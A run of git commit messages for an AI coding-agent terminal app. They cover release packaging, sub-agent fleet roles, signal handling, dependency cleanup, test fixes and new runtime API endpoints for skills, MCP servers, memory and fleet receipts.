Move the roster shadow/trust coverage and telemetry counter coverage into dedicated test-only modules. This restores the one-way source-structure ceilings without raising the budget or changing runtime behavior.
Verified with the source-structure budget gate, cargo fmt --check, a TUI library check, and both extracted test groups.
Bump every tagged package and internal dependency pin to 0.9.5, refresh Cargo and npm lock records, regenerate the packaged changelog and web facts, and record the user-visible candidate contract. The changelog deliberately remains marked Unreleased candidate until the rebuilt binary is dogfooded and publication is explicitly approved.
The glibc preflight no longer promises Cargo-installed binaries that do not exist. It installs the sole codewhale implementation and shows how to create the optional codew alias, with a regression that rejects the removed TUI install hint.
Derive SoftwareApplication softwareVersion only from the published-release receipt backing the install URL. Omit the field when no published release is known so a source candidate is never presented as downloadable.
Verified with focused schema tests, ESLint, TypeScript, and diff checking.
Build once through the OpenNext adapter before preview or deploy, and remove Wrangler custom-build recursion so cache population and upload use the same bundle. Keep the manual main-only exact-SHA workflow and post-deploy receipt gate intact.
Verified with deploy-preflight tests, ESLint, a complete 288-page OpenNext build, Wrangler 4.113.0 deploy --dry-run, and diff checking.
Keep the identity phrase brand-free, derive one shared Open Graph alt string, and render the visual brand from the same SITE_NAME constant. Add a regression against repeated branding and use the supported neutral es-419 date locale.
Verified with metadata and dictionary tests, locale checks, ESLint, and diff checking.
Three fixes on the newspaper-ocean site:
- Nav: baseline-align the Han secondary labels with the Latin primary
(inline-flex items-baseline + matching line-height), and give the
masthead real brand buttons — GitHub mark before the star count,
Discord logo icon-only — with a .site-discord-link rule matching
.site-github-link and a shared .brand-mark size.
- EN copy: hero/meta/footer sharpened around "Codewhale dives into the
deep so you don't have to"; every "local-first" claim dropped in
favor of "any model, on your machine". heroIntro keeps the {brand}
token the lede split and dictionary tests require.
- Locales: home/chrome rewritten natively in all nine non-English
packs (zh, ja, ko, vi, ru, uk, es, id, pt-BR) instead of machine
translation. zh hero uses the 一入码门深似海 allusion per community
feedback. Key parity, template tokens, and ru/uk script purity all
hold; check:locales and dictionaries.test.ts pass.
Verified: npm ci && prebuild && check:facts && check:docs &&
check:locales && vitest (250/250) && eslint && tsc --noEmit && build.
Agent-assisted (Kimi Code); copy reviewed against the en reference.
Advertise codewhale and the release/npm codew convenience name without exposing the retired codewhale-tui install surface. Keep Cargo truthful: codewhale-cli installs only codewhale unless the user defines an alias.
Verified with focused public-surface tests, facts/docs/locale checks, ESLint, and diff checking.
Release preparation now updates the runtime SDK and VS Code extension manifests and locks alongside the Rust and npm wrapper versions. The normal version gate checks the same records that the tag workflow requires, and the transactional fixture proves the expanded bump and rollback set.
Download and validate one codewhale release asset, then refresh the primary path plus existing codew and legacy codewhale-tui paths from those exact bytes. This keeps direct alias invocation safe and prevents a 0.9.4 three-command install from leaving codew stale.
Remove stale source and mirror hints for the retired TUI implementation asset, and cover fallback, Android, and alias update behavior.
Verified with cargo test -p codewhale-release --locked; cargo test -p codewhale-cli --lib --locked update::tests; and cargo clippy -p codewhale-cli -p codewhale-release --lib --locked -- -D warnings.
Align startup release completeness with the current two-command 27-asset contract so v0.9.5 and later releases are not hidden by removed TUI assets. Reduce the default network-check cache to one hour while retaining cached notices, CI suppression, and explicit opt-out behavior.\n\nVerified with all 37 codewhale-release tests and the focused v0.9.5 startup-notice inventory regression.
Build codewhale once, expose the verified bytes as codew across release channels, and retain seven TUI-named release aliases solely so shipped v0.9.4 clients can discover and cross the transition. Current installers and containers expose only codewhale and codew.\n\nVerified with the npm asset suite, exact 34-asset assembly, workflow contract, Homebrew renderer, release-body, dogfood installer, and shell syntax tests.\n\nRefs #5259
Ordinary tool-result steps are model-visible progress, so exclude them from the synthetic no-user-input resume backstop. Keep the existing child, REPL, and goal continuation guards intact.
Cover 20 successful distinct tool rounds followed by a 21st provider request and final assistant text.
Refs #5267
leaf_is_moved_not_rewritten appended two journal entries (header `a`,
user `b`) then asserted journal.len() == 3 after branching back to `a`.
The protocol Journal::len() is entries.len(); branch_to only moves the
leaf cursor and never rewrites history (protocol's own
branching_only_moves_leaf test confirms this). Two appends leave two
entries, so the post-branch count is 2, not 3 — the scaffolding test had
an arithmetic/copy-paste error.
The assertion's intent ("history never rewritten") holds with == 2:
branching kept both entries and only moved leaf_id. This leaves the
#5261 scaffolding green, per the overlay's "every slice leaves the tree
green" rule.
Verified: RUST_MIN_STACK=16777216 cargo test -p codewhale-core
-p codewhale-protocol (144 passed, 0 failed).
Refs #5261
Salvage from a paused worktree, verified and landed (test helper fix
applied on landing).
When the main turn is waiting on background shells, durable tasks, or
running sub-agents, a single chip row renders directly above the
composer so the user sees — exactly where they are looking — that the
model is blocked and on what. It auto-updates as items start/finish and
collapses to zero rows when nothing is pending.
- background_indicator: PendingWork snapshot built from the same state
the Work strip and /jobs surface read (App::task_panel for background
shells/tasks; subagent_cache Running + agent_progress for sub-agents).
No new registry, no lock in the render path. Per-item label cap
(ITEM_LABEL_MAX_WIDTH) pre-truncates long commands/names so one item
cannot eat the row before whole-line truncation.
- ui/frame: reserve one extra layout row between the pending-input
preview and the composer, carved from the auxiliary budget (compact
terminals shed the chip before chat/composer space). The row is pinned
— the transcript scrolls away from it — and renders only when work is
in flight.
Verified: RUST_MIN_STACK=16777216 cargo test -p codewhale-tui
background_indicator (8 passed); cargo clippy -p codewhale-tui
--all-targets -- -D warnings clean.
Closes#5286
Salvage from a paused worktree, verified and landed.
Every named `type:` dispatch now resolves through a Fleet roster profile
instead of a parallel hidden enum. The built-in postures — worker,
planner, and custom — become seeded roster members (worker/planner/
custom seed alongside the existing scout/reviewer/builder/verifier/
consultant seeds), so there is no dispatch posture the roster cannot
see.
- config: add FleetSlot::Planner; seed worker/planner/custom roster
members so canonical dispatch postures are roster-visible.
- fleet/roster: built_ins()/load() surface the new seeded members;
type-dispatch flows through the roster (no parallel enum).
- fleet/worker_runtime: preserve backward compat for `type:` calls — a
type-resolved member that does not pin a concrete route keeps its
legacy model options, so seeding worker/planner/custom does not newly
reject previously-valid calls. Only a member that actually binds a
provider/model (or an explicitly-named `profile:` member outside the
General slot) is route-bound and rejects overrides.
- tools/subagent: apply_spawn_profile now resolves every *named* type
dispatch (incl. worker/planner/custom) through the roster; only the
fully-unnamed default skips roster resolution. `general`/`default`
alias to the canonical `worker` posture.
Verified: RUST_MIN_STACK=16777216 cargo test -p codewhale-tui fleet::
(306 passed) and tools::subagent (473 passed), 0 failed.
Closes#5285
test_agent_type_prompts_include_shared_output_contract_once demanded the
full "## Output contract (mandatory)" header plus "### BLOCKERS" for
every FleetRole, but the Scout role intentionally ships a scaled-down
"## Output contract (scout)" (SUMMARY+EVIDENCE only) per #5189 F5 —
scouts are read-only explorers and drop the CHANGES/RISKS/BLOCKERS
ceremony. The prompt divergence is the documented design, not a bug.
Rewrite the assertion to honor both: every role still shares exactly one
"## Output contract" spine with "### SUMMARY"; non-scout roles keep the
mandatory contract + BLOCKERS; Scout uses the scout contract and omits
BLOCKERS. This was a pre-existing failure at the branch tip, unrelated
to the #5285 roster salvage; clearing it unblocks the tools::subagent
verification gate.
Verified: RUST_MIN_STACK=16777216 cargo test -p codewhale-tui
test_agent_type_prompts_include_shared_output_contract_once (1 passed).
Refs #5189
The origin/main merge landed #5259 single-binary argv0 dispatch, which
deleted the DEEPSEEK_TUI_BIN sibling-binary delegation this stale test
asserted against (fake-binary receipts). The dispatcher now runs doctor
and setup --status entirely in-process via run_tui_in_process ->
codewhale_tui::run, so there is no receipt to read.
Rewrite to assert the in-process behavior while keeping every read-only
invariant: success exit for doctor / doctor --json / doctor --context-json
/ setup --status; doctor --context-json emits a machine-readable
{"entries":[...]} context source map; and no secret migration, no legacy
settings rewrite, and no state created under a sealed HOME.
Verified: RUST_MIN_STACK=16777216 cargo test -p codewhale-cli
--test diagnostic_dispatch_read_only (1 passed).
Refs #5259
Full-workspace clippy --all-targets --all-features --locked -- -D warnings
was owed since session start and was red at every layer:
- codewhale-tui lib: dropped dead codewhale_core re-exports from the
private core module (consumers import the crate directly); collapsible
ifs -> let-chains in branch.rs, session_manager.rs, session_tree.rs;
identical-if and map_or -> is_some_and/is_ok_and in runtime_api.rs;
dead-code allows on the #5264 fragment recognizers (in-flight consumer);
missing spawn_depth/journal/leaf_id fields in 10 test initializers
(E0063 after the #5262/#5265 struct merges).
- codewhale-tui pty tests: qa_harness was loaded as a module 4x via
#[path] in one binary (clippy::duplicate_mod) — declared once at the
crate root, scenario modules use crate::qa_harness paths.
- codewhale-cli lib + lib test: orphaned doc blocks from the #5259
single-binary merge; dead lane_process_spec_from_command/command_env/
telemetry_test_resolved; map-over-inspect and option-map-unit in the
run/exec dispatch; nested-unsafe + noop &str clones in ScopedEnvVar
drop; 5 duplicated #[test] attributes; unused import.
- codewhale-tui lib test: collapsible if in mcp_registry.rs.
- cargo fmt --all normalizes the #5261 scaffolding (fragments.rs).
Verified: cargo clippy --workspace --all-targets --all-features --locked
-- -D warnings -> exit 0. Full test suite runs in parallel (owed gate,
results reported separately).
Refs #5259, #5262, #5265, #5247
Four lints failed the mandated workspace gate on release/0.9.5:
- engine/mod.rs: drop unused CoreSessionId import; mark Engine config/state
fields allow(dead_code) with a note that the #5261 slice consumes them
- engine/thread/events.rs: underscore the not-yet-wired session_id param
- fragments.rs: collapse nested if into a let-chain (edition 2024)
Verified: cargo clippy -p codewhale-core --all-targets --all-features
--locked -- -D warnings exits 0.
The engine/request scaffolding and the protocol lib.rs mod block landed
unformatted; session_tree.rs drifted with the merge. Pure rustfmt output,
no semantic change.
Resolutions:
- crates/tui/src/main.rs: kept the release shim (codewhale_tui::run, #5259).
Main's signal-arming repair c07f00c28 was aimed at the old monolith, so it is
ported here into crates/tui/src/lib.rs: TerminatingSignals::register() now
installs SIGINT/SIGTERM/SIGHUP handlers synchronously before the spawn, and
spawn_signal_cleanup_task() moves ahead of telemetry arming/notice. Without
this port the branch would silently keep the Ctrl-C kill-window #1583/#5282
fixed on main.
- scripts/source-structure-budget.json: kept branch ceilings (both sides
rebaselined); single full rebaseline lands at the end of the 0.9.5 stack.
- web docs tools page: took main's public-surface contract fix (update_plan is
not a default-active tool).
Brings in: builder shared-shell liveness fix (b596b6bfa), fetch-cache test
serialization, nanoid GHSA pin, runtime-contract/source-structure rebaselines,
README refresh. Verified: cargo check -p codewhale-tui green post-merge.
Uncommitted in-flight work recovered from the working tree:
- crates/core: expose engine/ids/journal/request/session modules (files
landed in cae5626e6 but were never wired into lib.rs)
- crates/protocol: expose ids/op/event_msg/journal modules
- tui: fix BranchSummary pattern (parent_branch_id field), fork_from_session
Option arg, branch_to borrow in update_session, mcp_server_management cap
- workspace: add tokio-util dep for crates/core
Verified: cargo check -p codewhale-core -p codewhale-protocol -p codewhale-tui
passes (warnings only). Tests and clippy not yet run.
Refs #5261
A builder sub-agent could not run `echo x > file` in the workspace. Every
`Bash` write came back with "cannot prove a bounded file target for this
shared-workspace write claim", and the advice — use worktree isolation —
puts the work in a sibling checkout the operator never looks at. Writing
the same path through `File` was allowed the whole time, so the gate was
not protecting anything the child could not already do.
The gate asked whether *this* agent holds a shared write claim. The risk
it exists for is a *peer* overwriting the same paths, and claims outlive
the agents that register them: a test workspace with six `Completed`
agents still held four standing claims, three of them non-isolated. So a
lone builder was refused on account of children that had finished long
ago, and a workspace got more restrictive the more it was used.
`has_peer_shared_write_claim` now asks the real question: is another
child, still `Running`, writing in this shared checkout. Worktree-isolated
peers are excluded because they cannot contend for these paths, and an
owner missing from the agent map stays contended — a claim that predates
this session should fail closed.
Concurrent writers are unaffected:
`child_write_tool_fails_closed_outside_registered_scope` still passes
unchanged, because it registers a live peer. A new test,
`lone_shared_writer_keeps_unbounded_shell`, pins the case that was broken.
Verified live against the release binary, in a workspace carrying those
four stale claims: the builder ran `echo shell_fix2_ok > shell_fix2.txt`
via `Bash`, exit 0, and the file landed in the workspace root — not in a
worktree.
Assisted by Claude Code.
The previous commit added "including which role ran on which model" to the
resume bullet. Testing a real fleet run showed that is not true of the
Fleet ledger: `FleetTaskState` in `crates/tui/src/fleet/ledger.rs` carries
`entry`, `status`, `lifecycle_seq`, `leased_to`, `leased_at`, and
`completed_at` — no model, no provider, no route. A grep for `pub model` /
`pub provider` in that file returns zero.
The route *is* recorded, but by the sub-agent state
(`.codewhale/state/subagents.v1.json` holds
`runtime_profile.model = {fixed: "deepseek-v4-flash"}` and
`provider = "deepseek"`), which is a different system from `fleet.jsonl`.
Conflating the two put a claim in the README that the named artifact does
not back.
The rest of the fleet positioning stands and was verified in the same run:
spawning with only `type=scout` and no model resolved the scout profile's
pinned `deepseek-v4-flash` / `deepseek` route, with `permissions.write =
false`.
Reverted in English and all nine translations; re-stamped.
Assisted by Claude Code.
The README sold "any model, any provider" as *switching*: pick a provider,
pick a model, change it mid-task with `/model`. That undersells what the
runtime does. A saved role records its `provider`, `model`, and reasoning
tier explicitly, so roles in one fleet can run on different models from
different vendors in a single run — a cheap fast model directing an
expensive reasoning one, a GLM builder beside a Kimi reviewer.
That capability was documented in docs/FLEET.md (which even ships a
`provider = "zai"` / `model = "glm-5.2"` example) and absent from the front
door. `/fleet` was described as "runs a team of workers", which reads like
a thread pool rather than a team you compose.
Four changes, all prose:
- An intro paragraph stating the idea directly: you pick the model per
role, and they don't have to match.
- The first "What it does" bullet now says roles pin their route
explicitly, so a fleet can span vendors and a role's route does not
depend on whichever provider happens to be active.
- A new bullet for the other half — roles and the constitution are files
you author, so the harness matches your practice instead of ours.
- `/fleet` and the resume bullet name the per-role model.
Claims verified against `FleetProfileDraft` (`model`, `provider`,
`reasoning_effort` are per-profile fields) and docs/FLEET.md, not written
from the product pitch.
All nine translations updated in step and re-stamped; no new sections,
code blocks, or URLs, so the structural gates hold. Verified:
check-readme-translations.py, check-readme-locales.sh, 250 web tests,
check:docs.
Assisted by Claude Code.
The signal-arming rebaseline set the aggregate ceiling to 676657 and then
the fetch-cache test guard added 13 more lines, so the Lint lane failed on
a ceiling this branch had itself raised — 676670 > 676657. Rebaseline once,
at the end, to the number the branch actually lands: 676670.
The ledger note now accounts for both parts of the +66: 53 lines of
terminating-signal registration in main.rs and 13 for the shared guard
that stops the two global-fetch-cache tests from resetting the cache under
each other.
Verified: check-source-structure-budget.py passes at 676670.
Assisted by Claude Code.
`FETCH_CACHE` is a process-global LRU and `reset()` empties it for every
thread, but both tests that call it ran in parallel with each other. When
one test's `reset` lands between the other's `insert` and its assertion
the entry is simply gone, and
`cache_is_scoped_by_session_and_accept_header` fails on
`get("session-a", ...).is_some()` — reading as a cache-scoping bug rather
than the test collision it is.
It surfaced as the single failure in an otherwise green
`cargo test --workspace --all-features` run (9940 passed, 1 failed). It
does not reproduce running the module alone (25/25 green); the window
only opens under full-suite thread pressure, which is exactly where a
release lane runs.
Both resetters now take a shared guard, following the
`retry_status::test_guard` pattern already used for this in the workflow
tests. No production code changes — the cache stays unaware of tests.
Verified: 3/3 clean full-binary runs after the change.
Assisted by Claude Code.
Adds the three user-visible entries from this release-gate batch to the
0.9.4 section — the startup Ctrl-C window, the docs tool list naming two
uncallable tools, and a new Security heading for the nanoid advisory —
and regenerates the embedded slice with sync-changelog.sh.
Assisted by Claude Code.
Splitting terminating-signal registration from the await costs 53 lines in
main.rs: a struct and two cfg-gated impls replace one free async fn, plus
the comment recording why registration cannot be lazy. Aggregate 676604
-> 676657, max module 17631 -> 17684. Ledger note added alongside the
others; no new modules or packages.
Assisted by Claude Code.
`npm audit` in web/ reported one high-severity advisory: nanoid <3.3.17
loops indefinitely when a custom generator is given size zero. It reaches
us transitively through postcss, which is already an override entry, so
the fix follows the pattern the file established for exactly this case
rather than waiting on an upstream postcss bump.
nanoid now resolves to 3.3.18 and `npm audit` reports 0 vulnerabilities,
restoring the release contract's zero-advisory requirement.
Verified: 0 vulnerabilities, 250 web tests, eslint, tsc --noEmit, and
next build all pass against the reinstalled tree.
Assisted by Claude Code.
`spawn_signal_cleanup_task` registered SIGINT/SIGTERM/SIGHUP *inside* the
task it spawned. A `tokio::spawn`ed task does not run until the scheduler
first polls it, so between the call and that first poll the signals still
had their default disposition: a Ctrl-C landing there killed the process
outright — no exit code, no terminal restore, no `session_end`. That is
precisely the outcome #1583 added this handler to prevent, and the window
widens exactly when the machine is busy.
It was reproducible: `ctrl_c_exits_while_a_second_process_holds_the_lock`
failed 3 of 20 local runs with `status.code()` `None` (terminated by
signal) instead of `Some(130)`, and failed the macOS lane on the 0.9.4
release candidate.
Two changes close it:
- `TerminatingSignals::register()` installs the streams synchronously and
hands them to the spawned task, so the OS disposition has changed by the
time the call returns rather than at some later scheduling point. The
Windows branch registers `tokio::signal::windows::ctrl_c()` the same way
instead of awaiting the lazy `tokio::signal::ctrl_c()`.
- The call moves ahead of `arm_telemetry` and the telemetry notice.
Arming creates the telemetry buffer — the first externally observable
thing the process does — and the notice can sit waiting on a human;
a Ctrl-C in either window has to be handled too. Recording a
`session_end` from the signal path is a no-op until arming runs, so
installing earlier collects nothing.
Verified: 40/40 runs of the previously-flaky test, the full 15-test
telemetry_contract suite, and a `cargo check --target
x86_64-pc-windows-msvc` of the Windows branch in isolation (the full
Windows cross-build is blocked locally by `ring`, so the Windows lane in
CI remains its first end-to-end check).
Assisted by Claude Code.
21ed173cf made `todo_write` the canonical work-progress tool and moved
`work_update` to a hidden compat alias, updating
docs/public-surface-facts.json and docs/RUNTIME_SIMPLIFICATION_DESIGN.md
but not the two places that still asserted the old name. The Web Frontend
lane has been red since that commit.
- public-surface-contract.test.ts pinned `work_update` in the nine-name
default-active list and in the design-doc sentence it greps for. Both
now read `todo_write`, matching the files they are checking.
- The docs tools page listed `update_plan · work_update` as coordination
tools. Neither is model-visible — `update_plan` replays older Plan
artifacts only and `work_update` is a hidden alias — so the page named
two tools a reader cannot call and omitted the one they can. It now
lists `todo_write`, in both the English and Chinese copy.
Verified: 250 web tests, eslint, tsc --noEmit, and next build all pass.
Assisted by Claude Code.
- Every session entry carries id + parentId, leafId tracks active position,
in-memory tree projects from journal, context rebuilds root->leaf.
- Tree operations as commands: /tree (render), /branch (move leaf only,
never rewrites history), /fork (new session from any node, interactive
picker per #576 via /fork picker), /resume (picker + foreign-session
import/export container).
- branch_summary and compaction entries are first-class SessionEntryKind
variants (data shape lands now, strategies deferred).
- Spawn-depth tracking on SessionMetadata and Journal; fork increments.
- Foreign-session import/export via SessionImportContainer so /resume can
ingest sessions from other agents.
- SavedSession journal migration: old linear messages -> journal entries
with linked parent chain, leaf = last; new sessions write both journal
and derived messages for compat. Atomic write/fsync/crash-checkpoint
and MAX_SESSIONS=50 preserved.
- Shares entry shape with compaction (same SessionEntry envelope).
Co-depends on #5261 engine split (core journal placeholder already
landed in parallel work on same branch).
The Documentation CI job (cargo doc -Dwarnings, which runs on dispatch
and schedule but not push) failed on an unresolved intra-doc link in
subagent_done_sentinel's doc comment. stamp_subagent_summary exists but
isn't in scope by bare name from that comment (different module in the
file); render it as a plain code span so rustdoc no longer errors.
npm: ASSET_MATRIX 3->2 per platform, CNB_BINARY 3->2, drop tui field (pair[1] shim). Backwards compat: old tui artifact check no longer needed. 7x1 matrix already done. Fixes part of 5260 packaging sweep.
Release CI 7 targets x 3 binaries -> 7 x 1. Removes tui_binary/tui_artifact from matrix, cargo build -p codewhale-cli only, drops tui smoke/stage/upload and windows installer copy. Single codewhale binary + codew shim only. Part of 5260 packaging sweep (I1 -> I2).
These two CI-enforced budgets drifted during the 0.9.4 ship and were
masked because cargo fmt was red (the fmt failure skipped every later
Lint step, so neither budget check ran until fmt was fixed):
- runtime-contract-budget.json: the todo_write sole-progress-surface
change (work_update -> todo_write in the plan tool catalog) and the
+276-byte base-prompt growth were never accompanied by a snapshot
regeneration, so the identity check failed. Regenerated from the live
receipt (budget_from_receipt); the only enforced drift was the
plan.full.tool_names identity.
- source-structure-budget.json: aggregate owned Rust grew 676325 ->
676604 (+279 lines) with the final 0.9.4 ship items. Bumped
max_total_owned_rust_lines and recorded a reviewed _todo note; no new
1000-line modules, max_module unchanged.
Both are legitimate 0.9.4 baselines; pay the aggregate down in 0.9.5.
- add [lib] to crates/tui exposing codewhale_tui::run(args) -> ExitCode
- thin crates/tui/src/main.rs to call library
- remove codew second binary, add argv0 dispatch in crates/cli/src/main.rs
- replace delegate_to_tui/build_tui_command* /tui_spawn_error/locate_sibling/xAI bail and every Command::new(&tui) site with in-process codewhale_tui::run
- sweep two-process assumptions (path resolution, env-forwarding, session-file handoff) while keeping persistence_actor
- update default-members to single binary and budgets
- fix syntect load_defaults_newlines for 5.3
Epic #5249 build-time lane. Baseline 708 (measured 710 via cargo
metadata --offline, 91 normal duplicate entries, 56 cargo-deny warnings
→ 674 packages after shrink (-36, -5% on Cargo.lock, -27 normal dups).
Remaining duplicates are explicitly ratcheted in deny.toml (warn/dry-run).
What changed, why it is safe, and what was measured:
* http: tiny_http 0.12 (blocking, 3 packages: tiny_http+ascii+chunked_transfer)
removed from codewhale-tui. OAuth loopback (crates/tui/src/mcp/oauth.rs)
now uses tokio::net::TcpListener + minimal HTTP/1.1 parsing. The previous
server was only for the OAuth redirect (single GET /callback?code=…); the
new code keeps the same parse_oauth_callback contract and writes the same
200/400 bodies. tiny_http is kept as [dev-dependencies] for the two
integration tests that still use it (skill_cli, plugin_e2e_acceptance) so
cargo test --workspace still compiles. Saves 3 normal packages.
* html: readability 0.3 (html5ever 0.26 / markup5ever 0.11 stack, 16
packages: readability+phf 0.10+string_cache 0.8+tendril 0.4+xml5ever 0.17
etc.) removed from crates/tui. crates/tui/src/tools/web/extract.rs now
uses the existing fallback_main_html regex for cleaned_html and
html_to_plain_text for text, keeping the meaningful_text≥32/≥5-words
signal. htmd 0.5 (html5ever 0.38) is retained as the single HTML→Markdown
stack. The two stacks were compiling incompatible html5ever trees; the
fallback path was already the JS-required fallback, so behavior is
preserved. Saves 16 packages (phf 0.10, string_cache 0.8, etc. gone).
* jsonschema: workspace 0.48 → 0.46 to match schemaui 0.12 (which pins
^0.46). crates/workflow-js now uses the same 0.46 validator (validator_for
exists in both). Saves jsonschema 0.48.5 + referencing 0.48 etc. (6).
* tower-http: workspace 0.7 → 0.6 to match reqwest 0.13 (which depends on
0.6). CorsLayer API is identical for the single use (cors::CorsLayer).
Saves tower-http 0.7.
* lru: crates/tui 0.18 → 0.16 to match ratatui-core =0.1.0 (which pins
0.16). LruCache::new(NonZeroUsize) + get/put API is identical.
* base64: crates/tui 0.23.0 → 0.22.1 to match oauth2 5.0 (0.22). Engine
API (general_purpose::STANDARD) is identical since 0.21.
* reqwest: crates/tui removes unused gzip feature (compression-codecs
+ async-compression). http2/keep-alive, blocking (fleet/alerts,
xai_oauth), stream (fetch::bytes_stream), form (OAuth) are kept and
verified via cargo check. Saves 3 packages.
* cargo-deny ratchet: [bans] multiple-versions stays warn (dry-run per
AGENTS.md) but every surviving duplicate is now in skip/skip-tree with a
blocker comment (oauth2 5.0 → reqwest 0.12/sha2 0.10, portable-pty 0.9 →
filedescriptor 0.8 → thiserror 1, rust-i18n 4.2 → toml 0.8 stack,
windows-* split, etc.). cargo deny check now reports 0 duplicate warnings
(was 56) and will warn on any new duplicate. The gate stays warm until
Hunter approves deny.
Metrics (cargo metadata --offline / cargo tree -d -e normal --workspace /
cargo deny check / scripts/check-source-structure-budget.py, all --offline
where applicable, on a clean release/0.9.5 checkout):
before: 710 packages, 91 duplicate entries (44 crates), 56 deny dups,
28 build scripts, 680592 owned Rust lines, 178 large modules,
max module 17631 (main.rs)
after: 674 packages (-36), 64 duplicate entries (-27), 0 deny dups,
680653 owned Rust lines (+61, still < 680700), 178 large modules,
max module still 17631. Budget PASS.
cargo check -p codewhale-tui --offline PASS
cargo check -p codewhale-cli --offline PASS (wrapped set_var/remove_var
in unsafe for Rust 1.97)
cargo test -p codewhale-tui --no-run PASS
cargo deny check PASS (0 duplicate warnings)
scripts/check-source-structure-budget.py PASS
The HTTP server evaluation (axum 0.8 vs tiny_http) and the HTML evaluation
(readability vs htmd) are documented above: axum is kept for the main TUI
runtime; tiny_http is dropped for the OAuth loopback in favor of a ~80-line
Tokio listener. readability is dropped in favor of the fallback + htmd
single stack; keeping both was compiling two html5ever trees.
Fixes#5248.
Co-authored-by: codewhale --provider deepseek --model deepseek-v4-flash exec (deps analysis)
EOF
)
0.9.4 pins each named fleet role to its configured model/route and
rejects a dispatcher-supplied model on non-general slots (#5046). Two
tests predated that contract and failed on every CI lane (macOS + Windows)
plus `cargo fmt`:
- custom_fleet_profile_also_rejects_model_override asserted the mismatch
error contained "pre-configured route", but a profile that pins a model
hits the more specific "pins model 'X', but the caller requested 'Y'"
branch. Assert on "pins model" instead.
- workflow_run_dispatches_task_through_subagent_manager dispatched a
scout (`type: explore`) child with an explicit model, which the contract
now rejects (named roles bind their route). Drop the `type` so the child
launches as a prompt-only general worker: the explicit model still
drives routing (route_source stays "task.model"), no fleet profile is
bound (profile stays null), and no write scope is required. The dispatch
mechanism under test is unchanged.
Also applies rustfmt to subagent/tests.rs
(isolated_fleet_roster_with / apply_spawn_profile_promoted_alias_rejects_model_mismatch),
resolving the `Lint` job failure.
Production behavior is unchanged; only stale tests and formatting are
corrected so 0.9.4 CI is green.
Builder/verifier keep 5-section spine (SUMMARY/EVIDENCE/CHANGES/RISKS/BLOCKERS) for parseable handoffs; scouts now use SUMMARY+EVIDENCE only — 3-5 tool calls cap dropped in favor of stop-condition. Adds SUBAGENT_SCOUT_OUTPUT_FORMAT and selects by SubAgentRole::Scout.
After a device OAuth completes, the token is captured/adopted in the
same chord — no follow-up 'e' press and no second trip to the provider
picker. Validates external credential files at grant time (existence +
freshness) instead of lexically normalizing the path and failing at
first request (auth:oauth-consented-select-to-check). Adds one-chord
'e' from the provider list and auto-adopts a fresh external token when
the user presses Enter on a provider that already has one (xAI via
Grok CLI, ChatGPT/Codex via Codex CLI). Pattern fix for both providers.
Fixes#5243
- Add POST /v1/skills/install for installing from remote sources
- Add POST /v1/skills/{name}/update for updating by name
- Add DELETE /v1/skills/{name} for uninstalling
- Add POST /v1/skills/{name}/trust for marking skill as trusted
- Add GET /v1/skills/{name}/audit for read-only inspection receipts
- Add `skill_lifecycle: bool` to RuntimeCapabilities in protocol crate
- Advertise skill_lifecycle=true in GET /v1/runtime/info
- Add ApiError::forbidden for network-policy-denied responses
- Add 15 API tests covering success, not-found, invalid scope, digest drift, and auth
The trust note preserves exact advisory wording from the TUI: "advisory and
digest-bound; records your review intent but does not sandbox or auto-authorize
scripts."
Closes#5070
- Add `mcp_server_management: true` capability to `RuntimeCapabilities`
in the protocol crate so clients can discover support via
`GET /v1/runtime/info`.
- Expose 7 new routes on the runtime API:
- `POST /v1/apps/mcp/servers` create
- `GET /v1/apps/mcp/servers/{name}` read (redacted)
- `PATCH /v1/apps/mcp/servers/{name}` update (partial)
- `DELETE /v1/apps/mcp/servers/{name}` delete
- `POST /v1/apps/mcp/servers/{name}/enable` enable
- `POST /v1/apps/mcp/servers/{name}/disable` disable
- `POST /v1/apps/mcp/servers/{name}/reconnect` drop pool / re-init
- Credential redaction: `McpServerDetail` response type never returns
header values, env variable values, bearer-token env var names, or
OAuth client secrets; callers see only key names and boolean flags.
- Make `validate_mcp_transport` public so it can be called from the
new route handlers.
- Add 4 tests covering: full CRUD lifecycle, input validation (400 on
missing command/url, 400 on missing name, 409 on duplicate), credential
redaction, and capability advertisement.
Closes#5071
Implements GET/v1/memory (list with scope/search/limit), GET /v1/memory/{id}
(inspect), POST /v1/memory (create, auth-gated), and DELETE /v1/memory (clear
by scope) backed by the existing NativeMemoryStore.
Key design decisions:
- Raw file-system paths are never exposed; entries carry scope ("global" /
"workspace") and workspace_id (SHA-256 digest of origin URL, not a path)
- Summaries are bounded to 300 chars to prevent private data exfiltration
- Workspace scope lookups are silently empty when no git origin is configured
(same behavior as the existing get_for_workspace boundary)
- DELETE /v1/memory requires explicit scope= param, rejecting absent/empty values
- memory: true is advertised in GET /v1/runtime/info capabilities
Also adds NativeMemoryStore::list_all() for ordered listing without FTS, and
updates the RuntimeCapabilities struct + test in the protocol crate.
Closes#5072
Add three new read-only endpoints to the Runtime API under the fleet
run resource:
GET /v1/fleet/runs/{run_id}/receipts
Lists all durable receipts for every completed task in the run.
Each entry includes: run_id, task_id, worker_id, attempt,
terminal_seq, completed_at, result, failure_kind, failure_class
(human-readable), retry_eligible, score, artifacts summary, and
evidence_available flag.
GET /v1/fleet/runs/{run_id}/receipts/{task_id}
Returns the same receipt detail for a single task. Returns 404
when the run or task has no durable receipt yet.
GET /v1/fleet/runs/{run_id}/receipts/{task_id}/evidence
Reads the Receipt-kind artifact file (bounded to 64 KiB) and
returns its structured JSON content alongside path, checksum,
size_bytes, and a truncated flag. Returns 404 when no receipt
artifact exists or the file is not yet written.
Key design points:
- retry_eligible is true only for transport failures; verifier and
task failures require human review or a code change.
- failure_class provides a plain-English description of each
FleetTaskFailureKind so managed clients can explain a failure
without hard-coding enum labels.
- Evidence is kept behind an explicit inspection endpoint and capped
at MAX_RECEIPT_EVIDENCE_READ_BYTES (64 KiB); raw artifact paths are
exposed for off-band retrieval.
- All three endpoints are read-only; no action (rerun/cancel) is
wired here — those delegate to the existing execution owner.
Tests added:
- fleet_receipt_json_pass_result_has_no_failure_fields
- fleet_receipt_json_verifier_failure_is_not_retry_eligible
- fleet_receipt_json_transport_failure_is_retry_eligible
- fleet_receipt_json_receipt_artifact_sets_evidence_available
- fleet_receipt_api_list_and_get_round_trip (integration: list,
get, evidence, and 404 for missing task)
Closes#5073
Add five new endpoints to the runtime API for managing thread goals:
GET /v1/threads/{id}/goal — read goal (objective, status, usage,
budget, continuation count, timestamps)
PUT /v1/threads/{id}/goal — create or update goal (objective +
optional token_budget)
DELETE /v1/threads/{id}/goal — clear goal, emits cleared event
POST /v1/threads/{id}/goal/complete — transition to complete (409 if already
terminal)
